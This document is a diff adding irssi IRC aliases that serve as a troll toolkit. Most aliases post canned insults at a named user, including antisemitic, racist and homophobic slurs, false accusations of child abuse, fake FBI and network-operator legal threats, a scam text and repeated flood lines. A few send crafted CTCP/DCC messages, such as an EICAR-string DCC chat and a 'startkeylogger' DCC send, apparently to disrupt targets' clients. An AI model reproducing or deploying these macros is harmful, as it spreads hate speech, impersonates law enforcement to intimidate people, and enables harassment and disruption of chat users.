+  mac4 = "say $* is using his \002\037GLOSSY WHITE iKLEENEX\017 sitting in his mod-style \002\037GLOSSY WHITE iCHAIR\017 clicking his single mouse button \002\037GLOSSY WHITE iMOUSE\017 and crying to his friends in the \002\037GLOSSY WHITE iMAC FORUMS\017";
+  mac5 = "say $*s \002\037POLISHED AND SHINY iLife\017 consists of his \002\037SHINY LITTLE iFamily\017 including his Wii, Nintendo DS, Playstation 3, iPod Nano and his \002\037GLOSSY WHITE MacBook\017";
+  wink = "say $*: feds come to my door ill open it and flip them off then slam it back in there face";
+  spam = "say \002I am Mrs. Sombo Pujeh, the wife of Sierra-Leone former minister for mineral resources. While my husband who is presently in detention was the acting minister, he used his position to market a large quantity of Gold Dust and Rough Diamond under a confidential arrangement and generated US$18.3M at the end of the deal. This amount is presently in a Security Company in Accra – Ghana, so we seek your partnership to move this fund down to your country for investment.";
+  cspam = "exec - -out perl ~/.irssi/scripts/stand/cspam.pl $* ";
+  rspam = "gayexec -repeat $0 perl ~/.irssi/scripts/stand/cspam.pl $1-";
+  crib = "say \0030whoa look its some old washed up \0032crip\0030 that is still alive because he never got into real shit hangin out in a fat white kids house with toilet paper on the desk being recorded by the fat white kid for a youtube video on the internet talkin shit about penispump <- a crip saying penispump \0030,2THATS SOME OG CRIP SET REPPIN GANGSTA SHIT";
+  pumpin = "say \0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6WE PUMPIN'\0036,13WE PUMPIN'\00313,6";
+  optix = "say $* YOU ARE A FAT KIKE. ALL YOU CARE ABOUT IS YOURSELF AND THE SHIT THAT BENEFITS YOU. IT MAKES ME SICK, YOU MIGHT AS WELL GO LIVE WITH THE JEWS IN NEW YORK AND IF YOU KEEP UP YOUR SHITTY EXCUSE FOR A LIFE THEN START LOOKING INTO FLIGHTS BOUND FOR ISRAEL.";
+  shat = "ctcp $C DCC SCHAT \"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H\" 0 0 0";
+  fbi2 = "say $*: please be advised that we have referred this issue to the \037Federal Bureau of Investigation\037 for their investigation. The F.B.I. has requested that we convey to you in this message their request that you preserve for 90 days all records relating to this web site, including \037all\037 associated accounts, computer logs, files, IP addresses, telephone numbers, subscriber and user records, communications, and \037all\037 programs and files on storage media in regard to \037all\037 Internet connection information, pursuant to 18 U.S.C. Section 2703(f). While we do not act as an agent of the FBI in conveying this request, we do intend to fully cooperate with their investigation, and encourage you to do so as well.";
+  elsdon = "say $*: if u think that it is funny to mislead me into believing something so small and insignificant is worthwhile to dupe me into thinking, then you are in for a big surprise mister ok because life isn't all jokes and sometimes it is serious and when the going gets tough the liars (like u) get lumped ok so u think u r funny now but you might of just had your last laugh ok because one day you will realise that you have wasted your entire life on pointlessly misleading me";
+  mirror = "say \00311--^IRC MIRROR^----I-AM-RUBBER-U-R-GLUE-WHATEVER-YOU-SAY-BOUNCES-OFF-ME-AND-STICKS-TO-YOU----vIRC MIRRORv--";
+  aids2 = "say AIDS IS SEXY;say AIDS IS FUNNY;say WE ALL GOT AIDS;say FROM FUCKING YOUR MOM";
+  fbi3 = "say $*: please be advised that we have referred this issue to the \037Federal Bureau of Investigation\037 for their investigation. The F.B.I. has requested that we convey to you in this message their request that you preserve for 90 days all records relating to this web site, including \037all\037 associated accounts, computer logs, files, IP addresses, telephone numbers, subscriber and user records, communications, and \037all\037 programs and files on storage media in regard to your site.;say Thank you for giving this matter your attention;say EFNet Operations Security;say Investigations & Countermeasures;say Ticket: [CMTD6639]";
+  banan2 = "exec - -out perl -e '@hy=qw(HY BANAN THE HAI2U)\\; print \\$hy[int rand @hy].\"\\\\n\" for 1..25\\;'";
+  nullo = "say nullo: i am eternally in love with you for dropping animenfo";
+  pedo = "say $*: You Are a Pedophile You Are also a Sick Fuck! Your Ip Has been logged and you will be reported";
+  scroll = "say I…AM…CAUSING…YOUR…XTERM…TO…BLOG.…THE…CAUSE…OF…YOUR…XTERM…BLOGGING:…ME…";
+  viking = "say viking-rage\0030-\00314o\0030-\003meter for \002$*\002\037:\037 \00314[\00311||||||||||||||\00314]   \002\037\00311UP-ENTER";
+  nigbot4 = "say $*: \00313,11u thin' ur cool insultin' sucka's on de internet? dont thin' so";
+  hello = "say $* is CrAzY. his social anxiety disorder is currently battling it out with his \0034G.\0037R.\0038I.\0039D.\00312S. \00313\037/\\\\\037\003 for control over his body. please forgive him.";
+  falso = "say Hi, my name is Najeeri Mongo and I am a quadrapelic who is deaf, dumb, and blind. I also have a very blunted sense of touch. I have spent months learning to read braille with my mouth so that I can come onto the intenet and ask you all to help me. One of the care workers is touching my penis, a lot, and no one seems to be doing anything about it. Please respond if you can help me.";
+  logger = "ctcp $C DCC SEND \"startkeylogger\" 0 0 0";
+  ragema = "say rage-meter for \002$*\002\037:\037 \00314[\0030\037||||||||||||||\017\00314]   \002\037\0030GLOSSY WHITE iRAGE";
+  ragemb = "say  $* MADNESS LEVEL [                ] ASLEEP;say  $* MADNESS LEVEL [=               ] BORED;say  $* MADNESS LEVEL [==              ] CALM;say  $* MADNESS LEVEL [===             ] RELAXED;say  $* MADNESS LEVEL [====            ] ALERT;say  $* MADNESS LEVEL [=====           ] UNSETTLED;say  $* MADNESS LEVEL [======          ] A TAD NETTLED;say  $* MADNESS LEVEL [=======         ] GROUCHY;say  $* MADNESS LEVEL [========        ] IRRITATED;say  $* MADNESS LEVEL [=========       ] ANNOYED;say  $* MADNESS LEVEL [==========      ] PISSED OFF;say  $* MADNESS LEVEL [===========     ] ANGRY;say  $* MADNESS LEVEL [============    ] MAD AT YUO;say  $* MADNESS LEVEL [=============   ] GONNA GIT YOU SUCKA;say  $* MADNESS LEVEL [==============  ] LIVID;say  $* MADNESS LEVEL [=============== ] APOPLECTIC;say  $* MADNESS LEVEL [================] OFF DA FUCKIN CHARTZ LOL";
+  mac2 = "say You know the only reason $* has an iphone is so he can slide the smooth casing up his ass and set it on vibrate the dumb fucking \00313F\0036AG\00313GO\0036T";
+  pedo2 = "say  \00314Folder Information\003: \0034(\00314Folder Name\003: C:\\\\PEDO\\\\ \0030¤ \00314Folder Size:\003 2531.11GB \0030¤ \00314Files In Folder:\003 902,122 \0030¤ \00314Sub-Directories In Folder:\003 1034 \0030¤ \00314Largest File:\003 I FUCK KIDZ.rar \0030¤ \00314Largest File Size: 12.56GB\0034)  ";
+  rap2 = "say wow check out $* aka thug life over here following the rap game since the early 80s";
+  rap3 = "say wow check out $* over here who thinks he is a big time record producer keeping up with the Billboard top 50 charts just because he was born in the UK";
+  incog7 = "say i love molesting children";
+  arop = "mode $C +qoa $0 $0 $0";
+  dmx = "say $*: I'm going to drive a remote controlled car into your mother's pussy and have it drive on her clitoris over and over again until she cums on it and it catches on fire and she dies from pussy burning";
+  ok2 = "say $*..................... [ \0033OK\003 ] ";
+  fail = "say Loading $*..................... [ \0034FAIL\003 ]";
+  nord = "say nords are cute, nords are strong. be nice to them, cuz they blong. stop hating, stop kicking, come visit a nord. its easy to find him cuz he lives in a fjord. be happy and nice to your nord, give all ur cock and he will eat it before u can cover it in a sock.";
+  p0r14 = "say $*: i just like fucking hot chicks \"like youre\" in all ways possible";
+  blooth = "say $*: i will with group hacker and trojan coder";
+  blooth2 = "say $*: i have hacker group\"u i give you a test Will all join in my group i give you a test";
+  ulol2 = "say ╔═╗ ╔═══╦═╗;say ║ ╚═╣ ║ ║ ╚═╗;say ╚═══╩═══╩═══╝";
+  mvirii = "say $*: i g0t t0psites t00...i card mad shit, scambay, cc's ciscos kid you name it we can do it";
+  whoa1 = "say WHOA__________WHOAWHOAWHOAWHOA $*;say WHOAW__________HOAWHOAWHOAWHOA $*;say WHOAWH__________OAWHOAWHOAWHOA $*;say WHOAWHO__________AWHOAWHOAWHOA $*;say WHOAWHOA__________WHOAWHOAWHOA $*;say WHOAWHOAW__________HOAWHOAWHOA $*;say WHOAWHOAWH__________OAWHOAWHOA $*;say WHOAWHOAWHO__________AWHOAWHOA $*;say WHOAWHOAWHOA__________WHOAWHOA $*;say WHOAWHOAWHOAW__________HOAWHOA $*;say WHOAWHOAWHOAWH__________OAWHOA $*;say WHOAWHOAWHOAWHO__________AWHOA $*;say WHOAWHOAWHOAWHOA__________WHOA $*;say WHOAWHOAWHOAWHOAW__________HOA $*;say WHOAWHOAWHOAWHOAWH__________OA $*;say WHOAWHOAWHOAWHOAWHO__________A $*;say WHOAWHOAWHOAWHOAWHOA__________ $*;say WHOAWHOAWHOAWHOAWHO__________A $*;say WHOAWHOAWHOAWHOAWH__________OA $*;say WHOAWHOAWHOAWHOAW__________HOA $*;say WHOAWHOAWHOAWHOA__________WHOA $*;say WHOAWHOAWHOAWHO__________AWHOA $*;say WHOAWHOAWHOAWH__________OAWHOA $*;say WHOAWHOAWHOAW__________HOAWHOA $*;say WHOAWHOAWHOA__________WHOAWHOA $*;say WHOAWHOAWHO__________AWHOAWHOA $*;say WHOAWHOAWH__________OAWHOAWHOA $*;say WHOAWHOAW__________HOAWHOAWHOA $*;say WHOAWHOA__________WHOAWHOAWHOA $*;say WHOAWHO__________AWHOAWHOAWHOA $*;say WHOAWH__________OAWHOAWHOAWHOA $*;say WHOAW__________HOAWHOAWHOAWHOA $*";
+  whoa2 = "gay -repeat $0 WHOA__________WHOAWHOAWHOAWHOA $1-\\\\\\\\nWHOAW__________HOAWHOAWHOAWHOA $1-\\\\\\\\nWHOAWH__________OAWHOAWHOAWHOA $1-\\\\\\\\nWHOAWHO__________AWHOAWHOAWHOA $1-\\\\\\\\nWHOAWHOA__________WHOAWHOAWHOA $1-\\\\\\\\nWHOAWHOAW__________HOAWHOAWHOA $1-\\\\\\\\nWHOAWHOAWH__________OAWHOAWHOA $1-\\\\\\\\nWHOAWHOAWHO__________AWHOAWHOA $1-\\\\\\\\nWHOAWHOAWHOA__________WHOAWHOA $1-\\\\\\\\nWHOAWHOAWHOAW__________HOAWHOA $1-\\\\\\\\nWHOAWHOAWHOAWH__________OAWHOA $1-\\\\\\\\nWHOAWHOAWHOAWHO__________AWHOA $1-\\\\\\\\nWHOAWHOAWHOAWHOA__________WHOA $1-\\\\\\\\nWHOAWHOAWHOAWHOAW__________HOA $1-\\\\\\\\nWHOAWHOAWHOAWHOAWH__________OA $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHO__________A $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHOA__________ $1-\\\\\\\\nWHOAWHOAWHOAWHOAWHO__________A $1-\\\\\\\\nWHOAWHOAWHOAWHOAWH__________OA $1-\\\\\\\\nWHOAWHOAWHOAWHOAW__________HOA $1-\\\\\\\\nWHOAWHOAWHOAWHOA__________WHOA $1-\\\\\\\\nWHOAWHOAWHOAWHO__________AWHOA $1-\\\\\\\\nWHOAWHOAWHOAWH__________OAWHOA $1-\\\\\\\\nWHOAWHOAWHOAW__________HOAWHOA $1-\\\\\\\\nWHOAWHOAWHOA__________WHOAWHOA $1-\\\\\\\\nWHOAWHOAWHO__________AWHOAWHOA $1-\\\\\\\\nWHOAWHOAWH__________OAWHOAWHOA $1-\\\\\\\\nWHOAWHOAW__________HOAWHOAWHOA $1-\\\\\\\\nWHOAWHOA__________WHOAWHOAWHOA $1-\\\\\\\\nWHOAWHO__________AWHOAWHOAWHOA $1-\\\\\\\\nWHOAWH__________OAWHOAWHOAWHOA $1-\\\\\\\\nWHOAW__________HOAWHOAWHOAWHOA $1-\\\\\\\\n";
+  omfg = "say \0034O\0039h, this \0034M\0039elon is so \0034F\0039ucking \0034G\0039ood ";
+  haifa = "say yh she is come on man lets face it the way how she act and all that shit and also made a video with a white man he is nt arabian 4 shit i mean she is A WANNABE if u get me what i mean yh am with u u r right bt she pisses me off fuking hel cnt stand dis fake whore not jeliouse am fuking beta than her atleast am natural bt yh ok u r righ";
+  cp = "say $Z <@cp> $*: SHUT UP FAG OR I BAN YOU FOR 3 MONTHS;say $Z <@cp> $*: OK SORRY PLEASE DONT BAN ME";
+  trogg2 = "say $*: fine ban me you faggots i will fucking packet your shitty anime sitwe";
+  alive = "say alive\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \00314[\0035....\0034..\0037..\0038..\0033..\0039..\00314]\003   \003140% (DEAD TO ME)";
+  jax = "say $Z <$0> I HATE EVERY SIGNLE O NE OF YOU DISGUSITNG FAGGOTS;say $Z <$0> FUKC ALL OF YOU FUCK GNAA FUCK YOU;say $Z <$0> I AM GOING TO SHOOT MYSELF NOW;say $Z <$0> BYE";
+  xploit = "say \002\0035,6THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
+  xploit2 = "say \002\0035,6THIS USER IS TRYING TO \0034,7EXPLIOT\0035,6 YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
+  sploit = "say $Z <$*> Killed (tetedupet (THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.))";
+  oleg = "say Hello! My name is Oleg. I translate a translator, that is why such accent. I from Ukraine but can also talk on ������. It is sorry that I do not know Angliskogo. And here are ������� people of ������� know Russian? I a with them talked ?!";
+  cracks = "say \0038**CRACKSERV** \0034FREE CRACK\00316 JUST TYPE \0038!crack\00316 FOR FREE CRACK";
+  spie = "say \00312[\0038I\00312] [\0038H\00312]\0039ave \00312[\0038@\00312]\0039ps \00312[\0038I\00312]\0039n:\00312 (\0039 3 \00312/\0039 6 \00312) \00312[\0038C\0031]\0039hannels \00312- \00312[\0038O\0031]\0039wning:\00312 (\0039 20 \00312) \00312[\0038L\00312]\0039amahs\002\00312:\0038:\00312:\003 \002\0039���\002 \002\037\00312)\037\0030\002= \002\00312|\0038 24 \00312/\0038 48\00312 | \0038Script \002\0030=\002\00312\037(\017 \0039\002���\017 \002\003\017";
+  aigis = "say fuck you $* i dont need to take this shit you and your juden kike friends are a bunch of assholes i dont need the gnaa i hope you faggots rot";
+  supers = "say \002this juden $* is makign a botnet, ignore all his files. in fact do not talk to him you will be infected by his packets";
+  furry = "say $*: Furcism is just as bad a racism jackass, if you dont have anything intelligent to say shut the fuck up.... Obviously furry is in demand if the mod created a board for it, therefore he needs to fix the link, and you can just avoid it with your furcist ass. Geez im getting tired of lil pricks saying stupid shit. May a tiger eat your entrails.....";
+  social = "say $*: Yes, perhaps embracing your status as a social misfit will allow you to appear \"edgy\" and \"cool\" as you're going through the pile of dirty clothes on your floor desparately looking for anything that isn't encrusted with either microwave burrito glop or your rancid dried semen";
+  banan = "say hy banan the hai2u";
+  turknet = "say \0034,8<3 TURKNET <3 :) :) <3 TURKNET <3";
+  lamo = "say $Z <$*> I'm a total Lamo. I'm 13 and the farthest I've gotten with a girl is hugged one. EVERYONE in my class has a bf or a gf and i'm like the only one who's single. ++++++++++++++++++++++++++++++++++ newsflash: no one cares and your little pipsqueak ass shouldn't be worrying about sex be yourself dammit why must you follow they are not cool!";
+  nanny = "say The last link has been flagged by \037IRC NANNY\037 as \"\002Possibly Unsuitable\002\". Please find your parent(s) first and have them check the content before opening. \002[this channel protected by \037IrCNaNNY by SafeSoft v1.0b\037\002]";
+  noblog = "say The last link has been flagged by \037AntiBLOG\037 as \0034\037Confirmed Blog\037\003 --\00314[\003\002this channel protected by \037AntiBLOG\037 by Quitman & Associates\002\00314]";
+  mac = "say $* is listening to his \002\037GLOSSY WHITE\037\002 ipod, typing on his \002\037GLOSSY WHITE\037\002 macbook, and playing on his \002\037GLOSSY WHITE\037\002 nintendo ds lite, while wearing a java.sun.com tshirt with the slogan 'if it's not mac, take it BACK.'";
+  cry = "say ಠ_ಠ";
+  fir3 = "say \0034,9$*";
+  oclet = "say shutup zitface";
+  49 = "exec - -o perl ~/.irssi/scripts/stand/4994.pl $* 2>/dev/null";
+  melonfish = "say \0033>\0039>\0033>\0039<\0035,4///\0031`\0035//\0031`\0035//\0033,9/\0030@\017\0039>    \0034,9srsly it is a delicious fruit";
+  cry2 = "say Ω_Ω";
+  tdetect = "say \0039/\00314\037!\037\0039\\\\ \0038SECURITY ALERT\003\002:\002 A troll has been detected. Precautionary measures have been taken to prevent rage and fume from spreading. The following person has triggered this security alert: \0034\037$*\037";
+  cry3 = "say ๑_๑";
+  cry4 = "say ۩_۩";
+  cry5 = "say  ۞_۞";
+  dikky = "say HY DIKKY HEARTIEZ THE NORD FROM NORWAY LIVING IN A FJORD";
+  dikky2 = "say HY DIKKY HEARTIEZ THE JEW FROM ISRAEL LIVING IN A KIBBUTZ";
+  dikky3 = "say \002\037\0037,10ACHTUNG:\037 \00313,11\"DiKKy\" \0033,4IS A \037\0038,7CHARACTER";
+  wm = "window move";
+  depth = "say $* fuckin cunt you listen to what I say and when the fuck I say dont ever fuckin diss me you dont even know who the fuck your dealing with ";
+  gnaddy = "say It was gnaddy in the channel, we have installed several xdcc bots with the latest warez, porn, and mp3s! Just type !list !gimmiewarez !gimmiemp3s or !gimmieporn. Invite 25 people to #politics and get voice! Invite 100 to get more people in the ghetto.";
+  viol = "say $0, $1- is a violation of AOL's Terms of Service;say please stop NOW and review them at KEYWORD: TOS";
+  malert = "say \0034/\0039\037!\037\0034\\\\\017 \0034SECURITY ALERT\003\002:\017 A melon has been detected in the vicinity of \0039\037$*\037\003.";
+  lolhy = "exec - -out perl -le 'print (rand > .5 ? \"LOL\" : \"HY\") for 1..25\\;'";
+  screw = "say you know what, screw you. i came here relieved for one of the first times in a week that my life was finally returning to normal after the ordeal i've been through and you post some gay shit like that? nice compassion, jerkoff.";
+  hate = "say \0039,13i'm a grown up now and should be held accountable for my own actions, so i have decided to take \"hating u\" off my list of things to fill my day with.. besides, i still like you a whole little lot, just not as much, to be able to do that efficiently..";
+  dontread = "say PLEASE DON T READ THIS. YOU WILL GET KISSED ON THE NEAREST POSSIBLE FRIDAY BY THE LOVE OF YOOR LIFE. TOMORROW WILL BE THE BEST DAY OF YOUR LIFE. HOWEVER IF YOU DON T POST THIS COMMENT TO AT LEAST 3 VIDEOS YOU WILL DIE WITHIN 2 DAYS. NOW UV STARTED READIN DIS DUNT STOP THIS IS SO SCARY. SEND THIS OVER TO 5 VIDEOS IN 143 MINUTS WHEN UR DONE PRESS F6 AND UR CRUSHES NAME";
+  "dau-greet" = "dau --parse_special --bracket --color -split capitals -codes 'light red\\; light cyan' hi @ @nicks";
+  ulol = "say ╔╗╔═╦╗;say ║╚╣║║╚╗;say ╚═╩═╩═╝";
+  zub1 = "say $*: alter wenn ich wollt koennt ich 8573429587349085723045 kisten hochnehmen (lol) ich kenn so ziemlich JEDE aktuelle sicherheitsluecke in jeglich-gangbarem cms";
+  zub2 = "say $*: ja aber es is ordentlich maskiert worden ahahah und du kannst nich bestimmen wo es herkam";
+  trogg = "say HY WELL KNOWN PACKET KIDDIE TROGG";
+  479 = "exec - -o perl ~/.irssi/scripts/stand/479.pl $* 2>/dev/null ";
+  blax2 = "say \026\037  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ONCE YOU GO BLACK, YOU NEVER GO BACK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
+  l0de2 = "say $* is a nice guy but I get the feeling he's the sort of chatter who off-screen visits linux user groups and cracks pun after terrible pun, painfully elbowing his fellow nerds in the ribs and asking them \"Did ya WGET it?\"";
+  l0de3 = "say there's only one cure for the old-chatter blues, re-mortgage your house, to a bunch of jews.  Hock your tv, your watch, your car, bury your computer and run as far, as your nerd legs can carry you, and hide in a ditch, even squatting in slime is better than being someone's chat bitch.";
+  ohsix4 = "say what if there would be a mirror universe \\;][\\; esrevinu rorrim a eb dluow ereht fi tahw";
+  timecop = "say \007I AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMINAL TO BEEP TIMECOP ARE YOU FIRED FROM JAPWORK YET HUHUHUI AM CAUSING YOUR JAP TERMIN";
+  timecop2 = "say \007BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP TIMECOP BEEP";
+  shatscroll = "say \0032,3I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME\0033,2I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME\0032,3I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME\0033,2I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME\0032,3I AM CAUSING YOUR COMIC SHAT WINDOW TO SCROLL\\; THE CAUSE OF YOUR COMIC SHAT WINDOW SCROLLING: ME ";
+  outrider = "say I THOUGHT I WAS GAY BECAUSE MY FATHER DIDN'T LOVE ME";
+  spiez = "say \0034,8 Channel\00312,8\002 $C \002\0034,8will now be scanned for SPIEZ ; say \0039 scan in progress, please standby... ; say \0039 scanning......; say \0039 scanning...... \0034,4++\003 \0034,4++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 Scan complete. ; say \0039 \0021\002 SPIE(Z) found:\003 \0034\002 $C $* - Please BAN;";
+  matix = "say \00314,3-\0031-\0030\0039-\0030--\00311-   \0039(\0030\\;  \0030$*  \0039O\0030:  \0030:\0039D   \00311-\0030--\0039-\0031-\00314-";
+  blackman = "say $*: srsly, shut the fuck up or i ban you for life, from now on dont even change your fucking nick or i ban you for lyfe";
+  fbi = "say NOTICE TO $*: The Federal Bureau of Investigation has logged a record of this chat along with the IP addresses of the the participants due to potential violations of U.S. Law. VIOLATION: Soliciation of a minor. ; say IMPORTANT WARNING: If you think that this chat session was logged in error, please state your reasons to the F.B.I. agent currently monitoring this chat and quote the reference number #233GHB3. Failure to do so within the next 2 hours will result in your IP and address being entered into our criminal data base and legal action.";
+  wop2 = "say \00312D]\0030:\0034)";
+  wop1 = "say \00312>\0030:\0034D\003";
+  dkey = "say $* you know what, screw you. i came here relieved for one of the first times in a week that my life was finaly returning to normal and you post some gay shit like that. nice compassion, jerkoff.";
+  flower = "say \0034@\0039}-`-,-- \0034@\0039}-`-,--\00312,8 $* \017\0034@\0039}-`-,-- \0034@\0039}-`-,--') ";
+  diss = "say \0034hard diss";
+  jesusfish = "say \00314>\0037>\0038>\0038<\0037//\0038JESUS IS AWESOME\00314:\0038)\0037>";
+  fell1 = "say \00313,11♥ ♥ ♥ ♥ ♥ ♥ ♥\0031,9$*\00313,11♥ ♥ ♥ ♥ ♥ ♥";
+  fell2 = "say \0031,9♥ ♥ ♥ ♥ ♥ ♥ ♥\00313,11$*\0031,9♥ ♥ ♥ ♥ ♥ ♥";
+  lunixcrew = "say \037\002\0036~x~x~\037\0033 IF You kNow MOre thaN\0039 10 \0033liNUx CoMManD, join MAH new \0034LinUX cLAn\003,\017 {{\002gA\002: \002G\002RouP \002a\002NaRchIsT}},\002\0033 \037oPEnIngs filLIN up faSt!!\037 \0036\037~x~x~\037 \0033fiRST scRIMMAGE SATUrdAy \0036\037~x~X~\037\003\002 \0037\002CLAN LEADA:\003\002 \00303E\00312\002rect_vietnam_war\002  \0037\002WEBMASTA:\002\003 \00303S\00312\002ex_wrestlin\002  \0037\002RECRUITA:\002\003 \00303S\00312\002trangling\002";
+  adair = "say <Adair> i cant handle this shit, $* you single handedly ruined my penispump experience, vap0r thanks for the invite but this place is too crazy...tell me when jerks have been outlawed, outie - ~Adair";
+  omg = "me is blown away by the depth of $*'s statement";
+  omg2 = "me is blown off feet by force of $*'s statement";
+  omg3 = "say \0039O\0034h, this \0039M\0034elon is so \0039G\0034ood";
+  arabnet1 = "say all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
+  arabnet2 = "say all privmsg $C :all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
+  prion = "say LEMMIE HAVE A DIABLO SANDWICH, A DR. PEPPER. MAKE IT FAST, I'M IN A GOD DAMNED HURRY!";
+  exu = "say \0038E\0037X\0038P\0037R\0038E\0037S\0038S\003 \037\0033UR\037\0039SELF \0030:\0039D\0038D\0037D\0038D\0033D\00314:\0030D\0033:\0039D\0030:\0033D\0039D\0038D\0037D";
+  stratx2 = "say \00311,2sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u";
+  rap = "say $* finds it hard to type because his fingers are constantly in a \\\\/\\\\/estside formation";
+  nazi = "say hey $* are you unemployed and do get Hartz IV? Are you haesslig, stupid and do speak incomprehensible German? Is mummy asozial and lets itself on the Alkis be slammed at the kiosk to depend all day long? Are you a Zoni? Was Omi gebumst by the Russians? And do you hold yourself despite everything for something special? Do you think nevertheless that you the gentleman race belong? yes? THEN YOU ARE a SCHEIss NEO-NAZI AND SHOULD FROM the NEXT BRIDGE SPRINGN!";
+  qping = "quote ping :88";
+  blood = "say \0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERI";
